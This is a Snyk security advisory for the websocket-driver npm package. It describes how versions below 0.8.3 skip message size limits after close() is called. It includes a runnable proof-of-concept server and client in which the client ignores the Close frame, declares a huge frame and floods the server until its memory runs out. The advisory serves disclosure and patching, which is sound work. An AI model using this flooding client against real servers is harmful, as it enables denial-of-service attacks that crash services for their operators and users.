Allocation of Resources Without Limits or Throttling Affecting websocket-driver package, versions <0.8.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.92% (62nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-WEBSOCKETDRIVER-23745889
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • credit陳昱昇(YuSheng Chen)

Introduced: 4 Dec 2026

NewCVE-2026-144302  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade websocket-driver to version 0.8.3 or higher.

Overview

websocket-driver is a websocket protocol handler with pluggable I/O.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via _emitMessage in lib/websocket/driver/hybi.js, where the driver fails to enforce maxLength validation on incoming messages after close() has been called. When a server invokes driver.close(), it sends a WebSocket Close frame to the client and waits for the client's Close response, but continues to process incoming message data without applying the normal size limit. A client that ignores the Close frame and exploits TCP half-open behaviour to keep sending data can cause the server to buffer an indefinite volume of data until it runs out of memory and crashes.

PoC

Given a server configured as follows, which responds to an incoming message by invoking driver.close():

const net = require('net')
const websocket = require('websocket-driver')

let server = net.createServer((connection) => { let driver = websocket.server()

driver.on('connect', () => { if (websocket.isWebSocket(driver)) driver.start() }) driver.on('close', () => connection.end())

connection.pipe(driver.io).pipe(connection)

// the application starts the closing handshake, e.g. it rejects a message driver.on('message', () => driver.close()) })

server.listen(5077, '127.0.0.1')

// observation only: external memory held by ArrayBuffers (MiB) setInterval(() => { let MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576) console.log('ArrayBuffers (MiB): ' + MiB) }, 1000)

A client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's close() call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.

const net = require('net')

let socket = net.connect(5077, '127.0.0.1')

socket.write( 'GET / HTTP/1.1\r\n' + 'Host: 127.0.0.1\r\n' + 'Connection: Upgrade\r\n' + 'Upgrade: websocket\r\n' + Sec-WebSocket-Key: ${btoa(&#39;the sample nonce&#39;)}\r\n + 'Sec-WebSocket-Version: 13\r\n' + '\r\n' )

socket.once('data', () => { // masked text frame, FIN = 1, payload 'a' -> server replies with a Close frame socket.write(Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61]))

socket.once('data', () => { // ignore the Close frame // masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1 socket.write(Buffer.from([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0]))

let chunk = Buffer.alloc(1 &lt;&lt; 20)
let flood = () =&gt; {
  while (socket.write(chunk)) {}
  socket.once(&#39;drain&#39;, flood)
}
flood()

}) })

socket.on('error', () => {})

When this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.

CVSS Base Scores

version 4.0
version 3.1